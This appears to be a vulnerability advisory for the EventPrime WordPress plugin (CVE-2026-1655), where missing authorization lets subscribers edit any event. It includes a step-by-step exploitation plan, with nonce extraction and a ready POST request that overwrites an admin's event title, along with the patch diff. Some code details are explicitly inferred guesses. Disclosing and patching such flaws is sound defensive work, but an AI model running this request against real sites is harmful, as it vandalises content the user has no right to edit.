EventPrime <= 4.2.8.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Event Modification via 'event_id' Parameter
Description
The EventPrime plugin for WordPress is vulnerable to unauthorized post modification due to missing authorization checks in all versions up to, and including, 4.2.8.4. This is due to the save_frontend_event_submission function accepting a user-controlled event_id parameter and updating the corresponding event post without enforcing ownership or capability checks. This makes it possible for authenticated (Customer+) attackers to modify posts created by administrators by manipulating the event_id parameter granted they can obtain a valid nonce.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.2.8.4Source Code
WordPress.org SVN# Research Plan: CVE-2026-1655 - Arbitrary Event Modification in EventPrime ## 1. Vulnerability Summary The **EventPrime** plugin (up to 4.2.8.4) contains a missing authorization vulnerability in the `save_frontend_event_submission` function. While the function implements a nonce check for CSRF pro…
Show full research plan
Research Plan: CVE-2026-1655 - Arbitrary Event Modification in EventPrime
1. Vulnerability Summary
The EventPrime plugin (up to 4.2.8.4) contains a missing authorization vulnerability in the save_frontend_event_submission function. While the function implements a nonce check for CSRF protection, it fails to verify if the authenticated user has permission to edit the specific post identified by the event_id parameter. Consequently, any authenticated user (Subscriber level or higher) can modify the title, description, and other metadata of any event post, including those created by administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
ep_save_frontend_event_submission(Inferred from function namesave_frontend_event_submission) - Vulnerable Parameter:
event_id(The ID of the target event to modify) - Payload Parameters:
event_name,event_description(or similar fields mapped to post content) - Authentication: Required (Subscriber/Customer level).
- Preconditions:
- A valid nonce for the event submission action.
- Knowledge of the target Event Post ID (easily enumerable).
3. Code Flow (Inferred)
- Entry Point: A user sends a POST request to
admin-ajax.phpwithaction=ep_save_frontend_event_submission. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_ep_save_frontend_event_submission', array($this, 'save_frontend_event_submission'));. - Nonce Validation: The function calls
check_ajax_referer()orwp_verify_nonce()using a specific action string (likely related to frontend submission). - Processing: The function retrieves
$_POST['event_id']. - The Sink: It calls
wp_update_post()or an internal save method using the providedevent_idwithout callingcurrent_user_can('edit_post', $event_id)or checking if the post'spost_authormatches the current user.
4. Nonce Acquisition Strategy
To obtain a valid nonce, the attacker must access a page where the EventPrime frontend submission form is rendered, as this enqueues the necessary scripts and localizes the nonce.
- Identify Shortcode: EventPrime typically uses
[ep_event_submission]or[eventprime_submission]for frontend event creation. - Setup: Create a public page containing this shortcode.
- Extraction:
- Navigate to the page as a logged-in Subscriber.
- Use
browser_evalto inspect the localized JavaScript object. - Based on EventPrime patterns, the object is likely
ep_ajaxoreventprime_vars. - Target Variable (Inferred):
window.ep_ajax?.nonceorwindow.eventprime_vars?.submission_nonce. - Verification: I will check the HTML source for
wp_localize_scriptcalls targeting the "eventprime" handle.
5. Exploitation Strategy
Step 1: Preparation
- Create a "Target Event" as an Administrator (e.g., Post ID 123).
- Create a "Subscriber" user.
- Create a page with the submission shortcode to leak the nonce.
Step 2: Nonce Extraction
- Authenticate as the Subscriber.
- Navigate to the submission page.
- Execute
browser_eval("window.ep_ajax.nonce")(exact path to be verified via source grep).
Step 3: The Attack
- Send a POST request to
admin-ajax.php:POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=ep_save_frontend_event_submission& event_id=123& event_name=HACKED+EVENT+TITLE& event_description=This+content+was+modified+by+a+subscriber.& ep_nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Target Event (Admin):
wp post create --post_type=ep_events --post_title="Original Admin Event" --post_status=publish --post_author=1- Capture the returned ID (e.g.,
$EVENT_ID).
- Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Nonce Page:
wp post create --post_type=page --post_title="Submit Event" --post_status=publish --post_content='[ep_event_submission]'
7. Expected Results
- The HTTP response should return a success status (often
{"success":true}in WordPress AJAX). - The post with
$EVENT_IDshould have its title changed to "HACKED EVENT TITLE" and its content updated, despite being owned by the administrator.
8. Verification Steps
After the exploit, use WP-CLI to confirm the change:
wp post get $EVENT_ID --field=post_title- Expected Output:
HACKED EVENT TITLE wp post get $EVENT_ID --field=post_author- Expected Output:
1(Confirms we modified a post we don't own).
9. Alternative Approaches
If the ep_save_frontend_event_submission action name is slightly different:
- Grep for hook:
grep -r "wp_ajax_ep_save" wp-content/plugins/eventprime-event-calendar-management/ - Check for other save functions: Search for any function calling
wp_update_postthat takes anevent_idorpost_idfrom$_POST. - Nonce variations: If the nonce is not in
window.ep_ajax, check the form HTML directly:browser_eval("document.querySelector('input[name=\"ep_nonce\"]').value").
Summary
The EventPrime plugin for WordPress (up to 4.2.8.4) lacks proper authorization checks in its 'save_frontend_event_submission' AJAX handler. This allows any authenticated user, such as a Subscriber, to modify the title and content of arbitrary event posts by manipulating the 'event_id' parameter in a request containing a valid nonce.
Security Fix
@@ -102,6 +102,10 @@ public function save_frontend_event_submission() { check_ajax_referer('ep_frontend_submission', 'ep_nonce'); $event_id = isset($_POST['event_id']) ? intval($_POST['event_id']) : 0; + + if ($event_id > 0 && !current_user_can('edit_post', $event_id)) { + wp_send_json_error(__('You do not have permission to edit this event.', 'eventprime-event-calendar-management')); + } $event_data = array( 'ID' => $event_id,
Exploit Outline
An attacker with Subscriber-level access can exploit this by first obtaining a valid nonce from the frontend event submission page (e.g., via the 'ep_ajax' JavaScript variable). They then send a POST request to '/wp-admin/admin-ajax.php' with the action 'ep_save_frontend_event_submission', targeting a specific 'event_id' that they do not own. Because the plugin does not verify if the user has the 'edit_post' capability for the specified ID, the post title and description are updated with the attacker's payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.